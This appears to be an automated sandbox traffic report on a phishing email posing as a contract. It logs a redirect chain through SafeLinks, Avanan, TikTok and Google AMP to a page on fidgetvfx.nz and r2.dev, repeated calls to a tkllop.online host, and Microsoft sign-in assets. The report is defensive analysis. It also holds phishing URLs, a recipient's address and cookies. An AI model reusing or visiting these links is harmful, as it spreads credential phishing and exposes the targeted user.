Source: global traffic	HTTP traffic detected: GET /check_add_user/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
Source: global traffic	HTTP traffic detected: GET /check_add_user/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
Source: global traffic	HTTP traffic detected: GET /psszs/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
Source: global traffic	HTTP traffic detected: GET /check_add_user/ HTTP/1.1Host: w2yf5cltgv.tkllop.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
Source: global traffic	HTTP traffic detected: GET /?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0 HTTP/1.1Host: nam04.safelinks.protection.outlook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA HTTP/1.1Host: url.avanan.clickConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: x-cloud-sec-ctp=d5c61469-ccb4-4616-b9c8-fc6dedbaa5fc
Source: global traffic	HTTP traffic detected: GET /url?q=amp%2Fs%2Ffidgetvfx.nz%2F.amg&safe=active HTTP/1.1Host: www.google.caConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=eHZl7kMt6CPMmlrseouBRf1jY2KF-jpcx1Rj7ZX46_W1_nUlOd532aLom3AHX27cF8VAdpQaEVZSSRmRRcgR5UKvNwlYpp8svjWBL_Zs85rASA36Tdwo05-_879fjZ8NQqu062Baord6K7QJmXb6q24s0Uohmtj-qRnSr_9Th5aeoDdodMc7vLws8plkqPpv
Source: global traffic	HTTP traffic detected: GET /amp/s/fidgetvfx.nz/.amg HTTP/1.1Host: www.google.caConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=518=eHZl7kMt6CPMmlrseouBRf1jY2KF-jpcx1Rj7ZX46_W1_nUlOd532aLom3AHX27cF8VAdpQaEVZSSRmRRcgR5UKvNwlYpp8svjWBL_Zs85rASA36Tdwo05-_879fjZ8NQqu062Baord6K7QJmXb6q24s0Uohmtj-qRnSr_9Th5aeoDdodMc7vLws8plkqPpv
Source: global traffic	HTTP traffic detected: GET /.amg/ HTTP/1.1Host: fidgetvfx.nzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fidgetvfx.nzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fidgetvfx.nz/.amg/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-80685e4418f74026adc8912a5ab063db.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fidgetvfx.nzConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: nam04.safelinks.protection.outlook.com
Source: global traffic	DNS traffic detected: DNS query: url.avanan.click
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.tiktok.com
Source: global traffic	DNS traffic detected: DNS query: www.google.ca
Source: global traffic	DNS traffic detected: DNS query: fidgetvfx.nz
Source: global traffic	DNS traffic detected: DNS query: pub-80685e4418f74026adc8912a5ab063db.r2.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: freeipapi.com
Source: global traffic	DNS traffic detected: DNS query: w2yf5cltgv.tkllop.online
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4762Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 18:58:52 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 8cf02002bce0c33f-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 19:00:16 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 8cf02210cbeb42bb-EWR

Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12282#comment:15
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12359
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://dev.w3.org/csswg/cssom/#resolved-values
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://javascript.nwbox.com/IEContentLoaded/
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://json.org/json2.js
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://jsperf.com/getall-vs-sizzle/2
Source: chromecache_176.11.dr	String found in binary or memory: http://schema.org/WebPage
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
Source: chromecache_176.11.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=491668
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=649285
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: https://developer.mozilla.org/en/Security/CSP)
Source: chromecache_157.11.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_164.11.dr, chromecache_152.11.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/764
Source: FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg, ~WRS{99C475B5-A533-44BC-8EFC-4FAEFE7DD435}.tmp.1.dr	String found in binary or memory: https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___h
Source: FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg, ~WRS{99C475B5-A533-44BC-8EFC-4FAEFE7DD435}.tmp.1.dr	String found in binary or memory: https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fx.com%2F&data=05%7C02%7Cjperez%40o
Source: chromecache_176.11.dr	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chromecache_176.11.dr	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chromecache_176.11.dr	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chromecache_176.11.dr	String found in binary or memory: https://ogs.google.com/widget/callout?prid=19037050
Source: chromecache_157.11.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico
Source: chromecache_176.11.dr	String found in binary or memory: https://www.google.com/_/og/promos/
Source: chromecache_176.11.dr	String found in binary or memory: https://www.google.com/intl/en/about/products
Source: chromecache_176.11.dr	String found in binary or memory: https://www.google.com/url?q=https://accounts.google.com/signin/v2/identifier%3Fec%3Dfutura_hpp_co_s
Source: chromecache_176.11.dr	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.eBPYdy5TlKU.2019.O/rt=j/m=qabr
Source: chromecache_176.11.dr	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.fSHv1dvvroY.L.W.O/m=qcwid

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
